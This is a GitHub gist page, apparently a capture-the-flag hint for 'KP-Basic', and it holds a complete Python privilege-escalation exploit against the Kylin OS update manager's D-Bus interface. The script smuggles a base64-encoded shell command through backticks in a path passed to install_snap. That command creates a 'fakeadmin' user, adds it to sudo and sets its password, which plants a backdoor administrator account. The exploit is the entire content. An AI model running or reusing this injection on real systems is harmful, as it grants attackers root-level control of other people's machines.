Skip to content

Instantly share code, notes, and snippets.

@glzjin
Last active February 2, 2023 08:28
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save glzjin/e6fbff0ed2eaa92082222773a87e9fa1 to your computer and use it in GitHub Desktop.
Save glzjin/e6fbff0ed2eaa92082222773a87e9fa1 to your computer and use it in GitHub Desktop.
A hint for KP-Basic
import dbus
import base64
command = "adduser fakeadmin && adduser fakeadmin sudo && echo 'fakeadmin:Bb123***'|chpasswd"
command_base64 = base64.b64encode(command.encode()).decode()
path = '/tmp/`echo ' + command_base64 + '|base64 -d|sh`'
bus = dbus.SystemBus()
remote_object = bus.get_object("cn.kylinos.KylinUpdateManager", "/cn/kylinos/KylinUpdateManager")
remote_object.install_snap(path, dbus_interface="cn.kylinos.KylinUpdateManager")
print("Command executed!")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment